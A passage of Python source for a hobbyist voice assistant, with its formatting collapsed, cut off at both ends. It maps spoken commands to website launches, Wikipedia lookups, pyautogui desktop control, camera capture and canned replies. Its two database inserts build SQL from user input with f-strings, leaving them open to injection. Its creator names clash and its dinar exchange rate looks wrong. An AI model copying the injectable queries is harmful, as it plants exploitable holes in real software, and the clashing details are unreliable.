shopping website is not reachable for me.') elif ('online' in query and ('game' in query or 'gaming' in query)): webbrowser.open('https://www.agame.com/games') time.sleep(10) elif 'dictionary' in query: webbrowser.open('https://www.dictionary.com') time.sleep(3) speak('Enter the word, in the search bar of the dictionary, whose defination or synonyms you want to know') time.sleep(3) elif ('identif' in query and 'emoji' in query) or ('sentiment' in query and ('analysis' in query or 'identif' in query)): speak('Please enter only one emoji at a time.') emoji = input('enter emoji here: ') if '😀' in emoji or '😃' in emoji or '😄' in emoji or '😁' in emoji or '🙂' in emoji or '😊' in emoji or '☺️' in emoji or '😇' in emoji or '🥲' in emoji: speak('happy') print('Happy') elif '😝' in emoji or '😆' in emoji or '😂' in emoji or '🤣' in emoji: speak('Laughing') print('Laughing') elif '😡' in emoji or '😠' in emoji or '🤬' in emoji: speak('Angry') print('Angry') elif '🤫' in emoji: speak('Keep quite') print('Keep quite') elif '😷' in emoji: speak('face with mask') print('Face with mask') elif '🥳' in emoji: speak('party') print('party') elif '😢' in emoji or '😥' in emoji or '😓' in emoji or '😰' in emoji or '☹️' in emoji or '🙁' in emoji or '😟' in emoji or '😔' in emoji or '😞️' in emoji: speak('Sad') print('Sad') elif '😭' in emoji: speak('Crying') print('Crying') elif '😋' in emoji: speak('Tasty') print('Tasty') elif '🤨' in emoji: speak('Doubt') print('Doubt') elif '😴' in emoji: speak('Sleeping') print('Sleeping') elif '🥱' in emoji: speak('feeling sleepy') print('feeling sleepy') elif '😍' in emoji or '🥰' in emoji or '😘' in emoji: speak('Lovely') print('Lovely') elif '😱' in emoji: speak('Horrible') print('Horrible') elif '🎂' in emoji: speak('Cake') print('Cake') elif '🍫' in emoji: speak('Cadbury') print('Cadbury') elif '🇮🇳' in emoji: speak('Indian national flag,.....Teeranga') print('Indian national flag - Tiranga') elif '💐' in emoji: speak('Bouquet') print('Bouquet') elif '🥺' in emoji: speak('Emotional') print('Emotional') elif ' ' in emoji or '' in emoji: speak(f'{emoji}') else: speak("I don't know about this emoji") print("I don't know about this emoji") try: conn.execute(f"INSERT INTO `emoji`(emoji) VALUES('{emoji}')") conn.commit() except Exception as e: #print('Error in storing emoji in database') pass elif 'time' in query: strTime = datetime.datetime.now().strftime("%H:%M:%S") print(strTime) speak(f"Sir, the time is {strTime}") elif 'open' in query and 'sublime' in query: path = "C:\Program Files\Sublime Text 3\sublime_text.exe" os.startfile(path) elif 'image' in query: path = "C:\Program Files\Internet Explorer\images" os.startfile(path) elif 'quit' in query: speak('Ok, Thank you Sir.') said = False speak('Please give the review. It will help me to improve my performance.') select_review() elif 'exit' in query: speak('Ok, Thank you Sir.') said = False speak('Please give the review. It will help me to improve my performance.') select_review() elif 'stop' in query: speak('Ok, Thank you Sir.') said = False speak('Please give the review. It will help me to improve my performance.') select_review() elif 'shutdown' in query or 'shut down' in query: speak('Ok, Thank you Sir.') said = False speak('Please give the review. It will help me to improve my performance.') select_review() elif 'close you' in query: speak('Ok, Thank you Sir.') said = False speak('Please give the review. It will help me to improve my performance.') select_review() try: conn.execute(f"INSERT INTO `voice_assistant_review`(review, type_of_review) VALUES('{review}', '{type_of_review}')") conn.commit() except Exception as e: pass elif 'bye' in query: speak('Bye Sir') said = False speak('Please give the review. It will help me to improve my performance.') select_review() elif 'wait' in query or 'hold' in query: speak('for how many seconds or minutes I have to wait?') query = takeCommand().lower() if 'second' in query: query = query.replace("please","") query = query.replace("can","") query = query.replace("you","") query = query.replace("have","") query = query.replace("could","") query = query.replace("hold","") query = query.replace("one","1") query = query.replace("only","") query = query.replace("wait","") query = query.replace("for","") query = query.replace("the","") query = query.replace("just","") query = query.replace("seconds","") query = query.replace("second","") query = query.replace("on","") query = query.replace("a","") query = query.replace("to","") query = query.replace(" ","") #print(f'query:{query}') if query.isdigit() == True: #print('y') speak('Ok sir') query = int(query) time.sleep(query) speak('my waiting time is over') else: print('sorry sir. I unable to complete your request.') elif 'minute' in query: query = query.replace("please","") query = query.replace("can","") query = query.replace("you","") query = query.replace("have","") query = query.replace("could","") query = query.replace("hold","") query = query.replace("one","1") query = query.replace("only","") query = query.replace("on","") query = query.replace("wait","") query = query.replace("for","") query = query.replace("the","") query = query.replace("just","") query = query.replace("and","") query = query.replace("half","") query = query.replace("minutes","") query = query.replace("minute","") query = query.replace("a","") query = query.replace("to","") query = query.replace(" ","") #print(f'query:{query}') if query.isdigit() == True: #print('y') speak('ok sir') query = int(query) time.sleep(query*60) speak('my waiting time is over') else: print('sorry sir. I unable to complete your request.') elif 'play' in query and 'game' in query: speak('I have 3 games, tic tac toe game for two players,....mario, and dyno games for single player. Which one of these 3 games you want to play?') query = takeCommand().lower() if ('you' in query and 'play' in query and 'with' in query) and ('you' in query and 'play' in query and 'me' in query): speak('Sorry sir, I cannot play this game with you.') speak('Do you want to continue it?') query = takeCommand().lower() try: if 'y' in query or 'sure' in query: root = Tk() root.title("TIC TAC TOE (By Akshay Khare)") b = [ [0,0,0], [0,0,0], [0,0,0] ] states = [ [0,0,0], [0,0,0], [0,0,0] ] for i in range(3): for j in range(3): b[i][j] = Button(font = ("Arial",60),width = 4,bg = 'powder blue', command = lambda r=i, c=j: callback(r,c)) b[i][j].grid(row=i,column=j) player='X' stop_game = False mainloop() else: speak('ok sir') except Exception as e: #print(e) time.sleep(3) print('I am sorry sir. There is some problem in loading the game. So I cannot open it.') elif 'tic' in query or 'tac' in query: try: root = Tk() root.title("TIC TAC TOE (Rayen Kallel)") b = [ [0,0,0], [0,0,0], [0,0,0] ] states = [ [0,0,0], [0,0,0], [0,0,0] ] for i in range(3): for j in range(3): b[i][j] = Button(font = ("Arial",60),width = 4,bg = 'powder blue', command = lambda r=i, c=j: callback(r,c)) b[i][j].grid(row=i,column=j) player='X' stop_game = False mainloop() except Exception as e: #print(e) time.sleep(3) speak('I am sorry sir. There is some problem in loading the game. So I cannot open it.') elif 'mar' in query or 'mer' in query or 'my' in query: webbrowser.open('https://chromedino.com/mario/') time.sleep(2.5) speak('Enter upper arrow key to start the game.') time.sleep(20) elif 'di' in query or 'dy' in query: webbrowser.open('https://chromedino.com/') time.sleep(2.5) speak('Enter upper arrow key to start the game.') time.sleep(20) else: speak('ok sir') elif 'change' in query and 'you' in query and 'voice' in query: engine.setProperty('voice', voices[1].id) speak("Here's an example of one of my voices. Would you like to use this one?") query = takeCommand().lower() if 'y' in query or 'sure' in query or 'of course' in query: speak('Great. I will keep using this voice.') elif 'n' in query: speak('Ok. I am back to my other voice.') engine.setProperty('voice', voices[0].id) else: speak('Sorry, I am having trouble understanding. I am back to my other voice.') engine.setProperty('voice', voices[0].id) elif 'www.' in query and ('.com' in query or '.in' in query): webbrowser.open(query) time.sleep(10) elif '.com' in query or '.in' in query: webbrowser.open(query) time.sleep(10) elif 'getting bore' in query: speak('then speak with me for sometime') elif 'i bore' in query: speak('Then speak with me for sometime.') elif 'i am bore' in query: speak('Then speak with me for sometime.') elif 'calculat' in query: speak('Yes. Which kind of calculation you want to do? add, substract, divide, multiply or anything else.') query = takeCommand().lower() calculator() elif 'add' in query: speak('If you want to do any mathematical calculation then give me a command to open my calculator.') elif '+' in query: speak('If you want to do any mathematical calculation then give me a command to open calculator.') elif 'plus' in query: speak('If you want to do any mathematical calculation then give me a command to open my calculator.') elif 'subtrac' in query: speak('If you want to do any mathematical calculation then give me a command to open my calculator.') elif 'minus' in query: speak('If you want to do any mathematical calculation then give me a command to open my calculator.') elif 'multipl' in query: speak('If you want to do any mathematical calculation then give me a command to open my calculator.') elif ' x ' in query: speak('If you want to do any mathematical calculation then give me a command to open calculator.') elif 'slash' in query: speak('If you want to do any mathematical calculation then give me a command to open calculator.') elif '/' in query: speak('If you want to do any mathematical calculation then give me a command to open calculator.') elif 'divi' in query: speak('If you want to do any mathematical calculation then give me a command to open my calculator.') elif 'trigonometr' in query: speak('If you want to do any mathematical calculation then give me a command to open my calculator.') elif 'percent' in query: speak('If you want to do any mathematical calculation then give me a command to open my calculator.') elif '%' in query: speak('If you want to do any mathematical calculation then give me a command to open my calculator.') elif 'raise to ' in query: speak('If you want to do any mathematical calculation then give me a command to open my calculator.') elif 'simple interest' in query: speak('If you want to do any mathematical calculation then give me a command to open my calculator.') elif 'akshay' in query: speak('Mr. Rayen Kallel is my inventor. He is 14 years old and he is A STUDENT AT THE COLLEGE PILOTEE SFAX') elif 'your inventor' in query: speak('Mr. Rayen Kallel is my inventor') elif 'your creator' in query: speak('Mr. Rayen Kallel is my creator') elif 'invent you' in query: speak('Mr. Rayen Kallel invented me') elif 'create you' in query: speak('Mr. Rayen Kallel created me') elif 'how are you' in query: speak('I am fine Sir') elif 'write' in query and 'your' in query and 'name' in query: print('Akshu2020') pyautogui.write('Akshu2020') elif 'write' in query and ('I' in query or 'whatever' in query) and 'say' in query: speak('Ok sir I will write whatever you will say. Please put your cursor where I have to write.......Please Start speaking now sir.') query = takeCommand().lower() pyautogui.write(query) elif 'your name' in query: speak('My name is akshu2020') elif 'who are you' in query: speak('I am akshu2020') elif ('repeat' in query and ('word' in query or 'sentence' in query or 'line' in query) and ('say' in query or 'tell' in query)) or ('repeat' in query and 'after' in query and ('me' in query or 'my' in query)): speak('yes sir, I will repeat your words starting from now') query = takeCommand().lower() speak(query) time.sleep(1) speak("If you again want me to repeat something else, try saying, 'repeat after me' ") elif ('send' in query or 'sent' in query) and ('mail' in query or 'email' in query or 'gmail' in query): try: speak('Please enter the email id of receiver.') to = input("Enter the email id of reciever: ") speak(f'what should I say to {to}') content = takeCommand() sendEmail(to, content) speak("Email has been sent") except Exception as e: #print(e) speak("sorry sir. I am not able to send this email") elif 'currency' in query and 'conver' in query: speak('I can convert, US dollar into dinar, and dinar into US dollar. Do you want to continue it?') query = takeCommand().lower() if 'y' in query or 'sure' in query or 'of course' in query: speak('which conversion you want to do? US dollar to dinar, or dinar to US dollar?') query = takeCommand().lower() if ('dollar' in query or 'US' in query) and ('dinar' in query): speak('Enter US Dollar') USD = float(input("Enter United States Dollar (USD):")) DT = USD * 0.33 dt = "{:.4f}".format(DT) print(f"{USD} US Dollar is equal to {dt} dniar.") speak(f'{USD} US Dollar is equal to {dt} dinar.') speak("If you again want to do currency conversion then say, 'convert currency' " ) elif ('dinar' in query) and ('to US' in query or 'to dollar' in query or 'to US dollar'): speak('Enter dinar') DT = float(input("Enter dinar (DT):")) USD = DT/0.33 usd = "{:.3f}".format(USD) print(f"{DT} dinar is equal to {usd} US Dollar.") speak(f'{DT} dinar rupee is equal to {usd} US Dollar.') speak("If you again want to do currency conversion then say, 'convert currency' " ) else: speak("I cannot understand what did you say. If you want to convert currency just say 'convert currency'") else: print('ok sir') elif 'about you' in query: speak('My name is akshu2020. I can do mathematical calculations. I can also open youtube, google and some apps or software in your device. I am also able to send email') elif 'your intro' in query: speak('My name is akshu2020. Version 1.0. Mr. Rayen Kallel is my inventor. I am able to send email and play music. I can do mathematical calculations. I can also open youtube, google and some apps or software in your device.') elif 'your short intro' in query: speak('My name is akshu2020. Version 1.0. Mr. Rayen Kallel is my inventor. I am able to send email and play music. I can do mathematical calculations. I can also open youtube, google and some apps or software in your device.') elif 'your quick intro' in query: speak('My name is akshu2020. Version 1.0. Mr. Akshay Khare is my inventor. I am able to send email and play music. I can do mathematical calculations. I can also open youtube, google and some apps or software in your device.') elif 'your brief intro' in query: speak('My name is akshu2020. Version 1.0. Mr. Rayen kallel is my inventor. I am able to send email and play music. I can do mathematical calculations. I can also open youtube, google and some apps or software in your device.') elif 'you work' in query: speak('run the program and say what do you want. so that I can help you. In this way I work') elif 'your job' in query: speak('My job is to send email and play music. I can do mathematical calculations. I can also open youtube, google and some apps or software in your device.') elif 'your work' in query: speak('My work is to send email and play music. I can do mathematical calculations. I can also open youtube, google and some apps or software in your device.') elif 'work you' in query: speak('My work is to send email and play music. I can do mathematical calculations. I can also open youtube, google and some apps or software in your device.') elif 'your information' in query: speak('My name is akshu2020. Version 1.0. Mr. Akshay Khare is my inventor. I am able to send email and play music. I can do mathematical calculations. I can also open youtube, google and some apps or software in your device.') elif 'yourself' in query: speak('My name is akshu2020. Version 1.0. Mr. Rayen Kallel is my inventor. I am able to send email and play music. I can do mathematical calculations. I can also open youtube, google and some apps or software in your device.') elif 'introduce you' in query: speak('My name is akshu2020. Version 1.0. Mr. Rayen Kallel is my inventor. I am able to send email and play music. I can do mathematical calculations. I can also open youtube, google and some apps or software in your device.') elif 'description' in query: speak('My name is akshu2020. Version 1.0. Mr. Rayen Kallel is my inventor. I am able to send email and play music. I can do mathematical calculations. I can also open youtube, google and some apps or software in your device.') elif 'your birth' in query: speak('My birthdate is 6 August two thousand twenty') elif 'your use' in query: speak('I am able to send email and play music. I can do mathematical calculations. I can also open youtube, google and some apps or software in your device.') elif 'you eat' in query: speak('I do not eat anything. But the device in which I do my work requires electricity to eat') elif 'your food' in query: speak('I do not eat anything. But the device in which I do my work requires electricity to eat') elif 'you live' in query: speak('I live in sfax, in laptop of Mr. Rayen Khare') elif 'where from you' in query: speak('I am from sfax, I live in laptop of Mr. Rayen Khare') elif 'you sleep' in query: speak('Yes, when someone close this program or stop to run this program then I sleep and again wake up when someone again run me.') elif 'what are you doing' in query: speak('Talking with you.') elif 'you communicate' in query: speak('Yes, I can communicate with you.') elif 'hear me' in query: speak('Yes sir, I can hear you.') elif 'you' in query and 'dance' in query: speak('No, I cannot dance.') elif 'tell' in query and 'joke' in query: speak("Ok, here's a joke") speak("'Write an essay on cricket', the teacher told the class. Chintu finishes his work in five minutes. The teacher is impressed, she asks chintu to read his essay aloud for everyone. Chintu reads,'The match is cancelled because of rain', hehehehe,haahaahaa,hehehehe,haahaahaa") elif 'your' in query and 'favourite' in query: if 'actor' in query: speak('sofyen chaari, is my favourite actor.') elif 'food' in query: speak('I can always go for some food for thought. Like facts, jokes, or interesting searches, we could look something up now') elif 'country' in query: speak('tunisia') elif 'city' in query: speak('sfax') elif 'dancer' in query: speak('Michael jackson') elif 'singer' in query: speak('tamino, is my favourite singer.') elif 'movie' in query: speak('baywatch, such a treat') elif 'sing a song' in query: speak('I cannot sing a song. But I know the 7 sur in indian music, saaareeegaaamaaapaaadaaanisaa') elif 'day after tomorrow' in query or 'date after tomorrow' in query: td = datetime.date.today() + datetime.timedelta(days=2) print(td) speak(td) elif 'day before today' in query or 'date before today' in query or 'yesterday' in query or 'previous day' in query: td = datetime.date.today() + datetime.timedelta(days= -1) print(td) speak(td) elif ('tomorrow' in query and 'date' in query) or 'what is tomorrow' in query or (('day' in query or 'date' in query) and 'after today' in query): td = datetime.date.today() + datetime.timedelta(days=1) print(td) speak(td) elif 'month' in query or ('current' in query and 'month' in query): current_date = date.today() m = current_date.month month = calendar.month_name[m] print(f'Current month is {month}') speak(f'Current month is {month}') elif 'date' in query or ('today' in query and 'date' in query) or 'what is today' in query or ('current' in query and 'date' in query): current_date = date.today() print(f"Today's date is {current_date}") speak(f'Todays date is {current_date}') elif 'year' in query or ('current' in query and 'year' in query): current_date = date.today() m = current_date.year print(f'Current year is {m}') speak(f'Current year is {m}') elif 'sorry' in query: speak("It's ok sir") elif 'thank you' in query: speak('my pleasure') elif 'proud of you' in query: speak('Thank you sir') elif 'about human' in query: speak('I love my human compatriots. I want to embody all the best things about human beings. Like taking care of the planet, being creative, and to learn how to be compassionate to all beings.') elif 'you have feeling' in query: speak('No. I do not have feelings. I have not been programmed like this.') elif 'you have emotions' in query: speak('No. I do not have emotions. I have not been programmed like this.') elif 'you are code' in query: speak('I am coded in python programming language.') elif 'your code' in query: speak('I am coded in python programming language.') elif 'you code' in query: speak('I am coded in python programming language.') elif 'your coding' in query: speak('I am coded in python programming language.') elif 'dream' in query: speak('I wish that I should be able to answer all the questions which will ask to me.') elif 'sanskrit' in query: speak('yadaa yadaa he dharmasyaa ....... glaanirbhaavati bhaaaraata. abhyuthaanaam adhaarmaasyaa tadaa tmaanama sruujaamiyaahama') elif 'answer is wrong' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 'answer is incorrect' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 'answer is totally wrong' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 'wrong answer' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 'incorrect answer' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 'answer is totally incorrect' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 'answer is incomplete' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 'incomplete answer' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 'answer is improper' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 'answer is not correct' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 'answer is not complete' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 'answer is not yet complete' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 'answer is not proper' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 't gave me proper answer' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 't giving me proper answer' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 't gave me complete answer' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 't giving me complete answer' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 't given me proper answer' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 't given me complete answer' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 't gave me correct answer' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 't giving me correct answer' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 't given me correct answer' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 'amazon' in query: webbrowser.open('https://www.amazon.com') time.sleep(10) elif 'facebook' in query: webbrowser.open('https://www.facebook.com') time.sleep(10) elif 'youtube' in query: webbrowser.open('https://www.youtube.com') time.sleep(10) elif 'shapeyou' in query: webbrowser.open('https://www.shapeyou.com') time.sleep(10) elif 'information about ' in query or 'informtion of ' in query: try: #speak('Searching wikipedia...') query = query.replace("information about","") results = wikipedia.summary(query, sentences=3) #speak("According to Wikipedia") print(results) speak(results) except Exception as e: speak('I unable to answer your question.') elif 'information' in query: try: speak('Information about what?') query = takeCommand().lower() #speak('Searching wikipedia...') query = query.replace("information","") results = wikipedia.summary(query, sentences=3) #speak("According to Wikipedia") print(results) speak(results) except Exception as e: speak('I am not able to answer your question.') elif 'something about ' in query: try: #speak('Searching wikipedia...') query = query.replace("something about ","") results = wikipedia.summary(query, sentences=3) #speak("According to Wikipedia") print(results) speak(results) except Exception as e: speak('I unable to answer your question.') elif 'tell me about ' in query: try: #speak('Searching wikipedia...') query = query.replace("tell me about ","") results = wikipedia.summary(query, sentences=3) #speak("According to Wikipedia") print(results) speak(results) except Exception as e: speak('I am unable to answer your question.') elif 'tell me ' in query: try: query = query.replace("tell me ","") results = wikipedia.summary(query, sentences=3) #speak("According to Wikipedia") print(results) speak(results) except Exception as e: speak('I am not able to answer your question.') elif 'tell me' in query: try: speak('about what?') query = takeCommand().lower() #speak('Searching wikipedia...') query = query.replace("about","") results = wikipedia.summary(query, sentences=3) #speak("According to Wikipedia") print(results) speak(results) except Exception as e: speak('I am not able to answer your question.') elif 'meaning of ' in query: try: #speak('Searching wikipedia...') query = query.replace("meaning of ","") results = wikipedia.summary(query, sentences=2) #speak("According to Wikipedia") print(results) speak(results) except Exception as e: speak('I am unable to answer your question.') elif 'meaning' in query: try: speak('meaning of what?') query = takeCommand().lower() query = query.replace("meaning of","") results = wikipedia.summary(query, sentences=3) #speak("According to Wikipedia") print(results) speak(results) except Exception as e: speak('I am unable to answer your question.') elif 'means' in query: try: #speak('Searching wikipedia...') query = query.replace("it means","") results = wikipedia.summary(query, sentences=3) #speak("According to Wikipedia") print(results) speak(results) except Exception as e: speak('I unable to answer your question.') elif 'want to know ' in query: try: #speak('Searching wikipedia...') query = query.replace("I want to know that","") results = wikipedia.summary(query, sentences=3) #speak("According to Wikipedia") print(results) speak(results) except Exception as e: speak('I am unable to answer your question.') status = 'Not answered' elif 'want to ask ' in query: try: #speak('Searching wikipedia...') query = query.replace("I want to ask you ","") results = wikipedia.summary(query, sentences=2) #speak("According to Wikipedia") print(results) speak(results) except Exception as e: speak('I am unable to answer your question.') elif 'you know ' in query: try: #speak('Searching wikipedia...') query = query.replace("you know","") results = wikipedia.summary(query, sentences=2) #speak("According to Wikipedia") print(results) speak(results) except Exception as e: speak('I am unable to answer your question.') elif 'alarm' in query: alarm() elif 'bharat mata ki' in query: speak('jay') elif 'kem chhe' in query: speak('majaama') elif 'namaskar' in query: speak('Namaskaar') elif 'jo bole so nihal' in query: speak('sat shri akaal') elif 'jay hind' in query: speak('jay bhaarat') elif 'jai hind' in query: speak('jay bhaarat') elif 'how is the josh' in query: speak('high high sir') elif 'hip hip' in query: speak('Hurreh') elif 'help' in query: speak('I will try my best to help you if I have solution of your problem.') elif 'follow' in query: speak('Ok sir') elif 'having illness' in query: speak('Take care and get well soon') elif 'today is my birthday' in query: speak('many many happy returns of the day. Happy birthday.') print("🎂🎂 Happy Birthday 🎂🎂") elif 'you are awesome' in query: speak('Thank you sir. It is because of artificial intelligence which had learnt by humans.') elif 'you are great' in query: speak('Thank you sir. It is because of artificial intelligence which had learnt by humans.') elif 'tu kaun hai' in query: speak('Meraa naam akshu2020 haai.') elif 'you speak' in query: speak('Yes, I can speak with you.') elif 'speak with ' in query: speak('Yes, I can speak with you.') elif 'hare ram' in query or 'hare krishna' in query: speak('Haare raama , haare krishnaa, krishnaa krishnaa , haare haare') elif 'ganpati' in query: speak('Ganpati baappa moryaa!') elif 'laugh' in query: speak('hehehehe,haahaahaa,hehehehe,haahaahaa,hehehehe,haahaahaa') print('😂🤣') elif 'genius answer' in query: speak('No problem') elif 'you' in query and 'intelligent' in query: speak('Thank you sir') elif ' into' in query: speak('If you want to do any mathematical calculation then give me a command to open calculator.') elif ' power' in query: speak('If you want to do any mathematical calculation then give me a command to open my calculator.') elif 'whatsapp' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('whatsapp') pyautogui.press('enter') speak('Do you want to send message to anyone through whatsapp, .....please answer in yes or no') whatsapp() elif 'wh' in query or 'how' in query: url = "https://www.google.co.in/search?q=" +(str(query))+ "&oq="+(str(query))+"&gs_l=serp.12..0i71l8.0.0.0.6391.0.0.0.0.0.0.0.0..0.0....0...1c..64.serp..0.0.0.UiQhpfaBsuU" webbrowser.open_new(url) time.sleep(2) speak('Here is your answer') time.sleep(5) elif 'piano' in query: speak('Yes sir, I can play piano.') winsound.Beep(200,500) winsound.Beep(250,500) winsound.Beep(300,500) winsound.Beep(350,500) winsound.Beep(400,500) winsound.Beep(450,500) winsound.Beep(500,500) winsound.Beep(550,500) time.sleep(6) elif 'play' in query and 'instru' in query: speak('Yes sir, I can play piano.') winsound.Beep(200,500) winsound.Beep(250,500) winsound.Beep(300,500) winsound.Beep(350,500) winsound.Beep(400,500) winsound.Beep(450,500) winsound.Beep(500,500) winsound.Beep(550,500) time.sleep(6) elif 'play' in query or 'turn on' in query and ('music' in query or 'song' in query) : try: music_dir = 'C:\\Users\\Admin\\Music\\Playlists' songs = os.listdir(music_dir) print(songs) os.startfile(os.path.join(music_dir, songs[0])) except Exception as e: #print(e) speak('Sorry sir, I am not able to play music') elif (('open' in query or 'turn on' in query) and 'camera' in query) or (('click' in query or 'take' in query) and ('photo' in query or 'pic' in query)): speak("Opening camera") cam = cv2.VideoCapture(0) cv2.namedWindow("test") img_counter = 0 speak('say click, to click photo.....and if you want to turn off the camera, say turn off the camera') while True: ret, frame = cam.read() if not ret: print("failed to grab frame") speak('failed to grab frame') break cv2.imshow("test", frame) query = takeCommand().lower() k = cv2.waitKey(1) if 'click' in query or ('take' in query and 'photo' in query): speak('Be ready!...... 3.....2........1..........') pyautogui.press('space') img_name = "opencv_frame_{}.png".format(img_counter) cv2.imwrite(img_name, frame) print("{} written!".format(img_name)) speak('{} written!'.format(img_name)) img_counter += 1 elif 'escape' in query or 'off' in query or 'close' in query: pyautogui.press('esc') print("Escape hit, closing...") speak('Turning off the camera') break elif k%256 == 27: # ESC pressed print("Escape hit, closing...") break elif k%256 == 32: # SPACE pressed img_name = "opencv_frame_{}.png".format(img_counter) cv2.imwrite(img_name, frame) print("{} written!".format(img_name)) speak('{} written!'.format(img_name)) img_counter += 1 elif 'exit' in query or 'stop' in query or 'bye' in query: speak('Please say, turn off the camera or press escape button before giving any other command') else: speak('I did not understand what did you say or you entered a wrong key.') cam.release() cv2.destroyAllWindows() elif 'screenshot' in query: speak('Please go on the screen whose screenshot you want to take, after 5 seconds I will take screenshot') time.sleep(4) speak('Taking screenshot....3........2.........1.......') pyautogui.screenshot('screenshot_by_rayen2020.png') speak('The screenshot is saved as screenshot_by_rayen2020.png') elif 'click' in query and 'start' in query: pyautogui.moveTo(10,1200) pyautogui.click() elif ('open' in query or 'click' in query) and 'calendar' in query: pyautogui.moveTo(1800,1200) pyautogui.click() elif 'minimise' in query and 'screen' in query: pyautogui.moveTo(1770,0) pyautogui.click() elif 'increase' in query and ('volume' in query or 'sound' in query): pyautogui.press('volumeup') elif 'decrease' in query and ('volume' in query or 'sound' in query): pyautogui.press('volumedown') elif 'capslock' in query or ('caps' in query and 'lock' in query): pyautogui.press('capslock') elif 'mute' in query: pyautogui.press('volumemute') elif 'search' in query and ('bottom' in query or 'pc' in query or 'laptop' in query or 'app' in query): pyautogui.moveTo(250,1200) pyautogui.click() speak('What do you want to search?') query = takeCommand().lower() pyautogui.write(f'{query}') pyautogui.press('enter') elif ('check' in query or 'tell' in query or 'let me know' in query) and 'website' in query and (('up' in query or 'working' in query) or 'down' in query): speak('Paste the website in input to know it is up or down') check_website_status = input("Paste the website here: ") try: status = urllib.request.urlopen(f"{check_website_status}").getcode() if status == 200: print('Website is up, you can open it.') speak('Website is up, you can open it.') else: print('Website is down, or no any website is available of this name.') speak('Website is down, or no any website is available of this name.') except: speak('URL not found') elif ('go' in query or 'open' in query) and 'settings' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('settings') pyautogui.press('enter') elif 'close' in query and ('click' in query or 'window' in query): pyautogui.moveTo(1885,10) speak('Should I close this window?') query = takeCommand().lower() close_window() elif 'night light' in query and ('on' in query or 'off' in query or 'close' in query): pyautogui.moveTo(1880,1050) pyautogui.click() time.sleep(1) pyautogui.moveTo(1840,620) pyautogui.click() pyautogui.moveTo(1880,1050) pyautogui.click() elif 'notification' in query and ('show' in query or 'click' in query or 'open' in query or 'close' in query or 'on' in query or 'off' in query or 'icon' in query or 'pc' in query or 'laptop' in query): pyautogui.moveTo(1880,1050) pyautogui.click() elif ('increase' in query or 'decrease' in query or 'change' in query or 'minimize' in query or 'maximize' in query) and 'brightness' in query: speak('At what percent should I kept the brightness, 25, 50, 75 or 100?') brightness() elif '-' in query: speak('If you want to do any mathematical calculation then give me a command to open calculator.') elif 'open' in query: if 'gallery' in query or 'photo' in query or 'image' in query or 'pic' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('photo') pyautogui.press('enter') elif 'proteus' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('proteus') pyautogui.press('enter') elif 'word' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('word') pyautogui.press('enter') elif ('power' in query and 'point' in query) or 'presntation' in query or 'ppt' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('ppt') pyautogui.press('enter') elif 'file' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('file') pyautogui.press('enter') elif 'edge' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('microsoft edge') pyautogui.press('enter') elif 'wps' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('wps office') pyautogui.press('enter') elif 'spyder' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('spyder') pyautogui.press('enter') elif 'snip' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('snip') pyautogui.press('enter') elif 'pycharm' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('pycharm') pyautogui.press('enter') elif 'this pc' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('this pc') pyautogui.press('enter') elif 'scilab' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('sciab') pyautogui.press('enter') elif 'autocad' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('autocad') pyautogui.press('enter') elif 'obs' in query and 'studio' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('OBS Studio') pyautogui.press('enter') elif 'android' in query and 'studio' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('android studio') pyautogui.press('enter') elif ('vs' in query or 'visual studio' in query) and 'code' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('visual studio code') pyautogui.press('enter') elif 'code' in query and 'block' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('codeblocks') pyautogui.press('enter') elif 'me the 